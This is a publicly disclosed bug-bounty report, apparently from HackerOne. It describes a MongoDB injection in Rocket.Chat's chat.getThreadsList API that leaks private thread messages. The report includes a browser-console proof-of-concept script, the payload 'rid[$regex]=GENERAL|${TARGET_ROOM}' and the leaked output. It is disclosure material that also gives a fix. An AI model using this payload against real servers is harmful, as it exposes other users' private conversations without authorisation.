HexBrain

Rocket.Chat · Report #1446767

API route chat.getThreadsList leaks private message content

Validstatus
highseverity
4upvotes
22 Sept 2022disclosed

Summary

Summary

The /api/v1/chat.getThreadsList does not sanitize user inputs and can therefore leak private thread messages to unauthorized users via Mongo DB injection.

Description

The chat.getThreadsList API route is defined in app/api/server/v1/chat.js#L522-L572:

const { rid, type, text } = this.queryParams;
const { offset, count } = this.getPaginationItems();
const { sort, fields, query } = this.parseJsonQuery();

if (!rid) {
	throw new Meteor.Error('The required "rid" query param is missing.');
}
if (!settings.get('Threads_enabled')) {
	throw new Meteor.Error('error-not-allowed', 'Threads Disabled');
}
const user = Users.findOneById(this.userId, { fields: { _id: 1 } });
const room = Rooms.findOneById(rid, { fields: { t: 1, _id: 1 } });
if (!canAccessRoom(room, user)) {
	throw new Meteor.Error('error-not-allowed', 'Not Allowed');
}

const typeThread = {
	_hidden: { $ne: true },
	...(type === 'following' && { replies: { $in: [this.userId] } }),
	...(type === 'unread' && {
		_id: { $in: Subscriptions.findOneByRoomIdAndUserId(room._id, user._id).tunread },
	}),
	msg: new RegExp(escapeRegExp(text), 'i'),
};

const threadQuery = { ...query, ...typeThread, rid, tcount: { $exists: true } };
const cursor = Messages.find(threadQuery, {
	sort: sort || { tlm: -1 },
	skip: offset,
	limit: count,
	fields,
});

const total = cursor.count();

const threads = cursor.fetch();

return API.v1.success({
	threads,
	count: threads.length,
	offset,
	total,
});

Clients can provide JSON data in Query Parameters:

const { rid, type, text } = this.queryParams;

The ACL check is performed against the first room returned by Mongo DB:

const room = Rooms.findOneById(rid, { fields: { t: 1, _id: 1 } });
if (!canAccessRoom(room, user)) {
	throw new Meteor.Error('error-not-allowed', 'Not Allowed');
}

After the access permission check, the original rid parameter is again provided as Mongo DB query input, but unlike the ACL check can return multiple results:

const threadQuery = { ...query, ...typeThread, rid, tcount: { $exists: true } };
const cursor = Messages.find(threadQuery, {
	sort: sort || { tlm: -1 },
	skip: offset,
	limit: count,
	fields,
});

An authenticated adversary can provide an input that matches to multiple rooms of which the first match can be read by the malicious user. MongoDB will return the results in storage order, so that the channel that passes the ACL check must have been created before the target. For demonstration purposes the GENERAL channel was used:

const TARGET_ROOM = "<ROOM_ID>";

const fetchApi = async (url, options = {}) => {
	return fetch(`/api/v1/${url}`, {
		...options,
		headers: {
			'X-User-Id': Meteor._localStorage.getItem(Accounts.USER_ID_KEY),
			'X-Auth-Token': Meteor._localStorage.getItem(Accounts.LOGIN_TOKEN_KEY),
			'Content-Type': 'application/json',
			...(options.headers || {})
		}
	}).then((res) => res.json())
	.then((data) => { console.log(data); return data; });
};

fetchApi("chat.getThreadsList?rid[$regex]=GENERAL|${TARGET_ROOM}").then(console.log)

The object printed to the console has the secret message included in the threads property:

{
    "threads": [
        {
            "_id": "7sJLzbjDL7iL56Lmc",
            "rid": "YkJAwxJHe5t7BWimY",
            "msg": "secret message",
            "ts": "2022-01-11T12:26:20.603Z",
            "u": {
                "_id": "kYfzDMQLyPFjS9ASb",
                "username": "gronke",
                "name": "gronke"
            },
            "urls": [],
            "mentions": [],
            "channels": [],
            "md": [
                {
                    "type": "PARAGRAPH",
                    "value": [
                        {
                            "type": "PLAIN_TEXT",
                            "value": "secret message"
                        }
                    ]
                }
            ],
            "_updatedAt": "2022-01-11T12:45:40.086Z",
            "replies": [
                "kYfzDMQLyPFjS9ASb"
            ],
            "tcount": 1,
            "tlm": "2022-01-11T12:45:39.971Z"
        }
    ],
    "count": 1,
    "offset": 0,
    "total": 1,
    "success": true
}

For comparison it is not allowed to read the message directly:

>>> Meteor.call("getMessages", ["7sJLzbjDL7iL56Lmc"], console.log)
{
    "isClientSafe": true,
    "error": "error-not-allowed",
    "reason": "Not allowed",
    "details": {
        "method": "getSingleMessage"
    },
    "message": "Not allowed [error-not-allowed]",
    "errorType": "Meteor.Error"
}

Releases Affected:

  • develop

The change was introduced in #7632f12c and did not land in a release yet. Previous versions appear to be affected in a similar way, but within the query parameter instead of rid.

Steps To Reproduce (from initial installation to vulnerability):

  1. Create a thread in a private room between users Alice and Bob
  2. Login as Trudy
  3. Leak Alice and Bobs private Room ID (not discussed here)
  4. Query /api/v1/chat.getThreadsList?rid[$regex]=GENERAL|${TARGET_ROOM_ID}

Supporting Material/References:

  • List any additional material (e.g. screenshots, logs, etc.)

Suggested mitigation

  • Strictly verify input parameter type.
  • Use the ROOM ID returned for ACL verification in the final query.

Impact

Authenticated users can leak thread messages from private rooms they should not have access to.

Fix

Fixed in version 5.0>

How it was found

The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original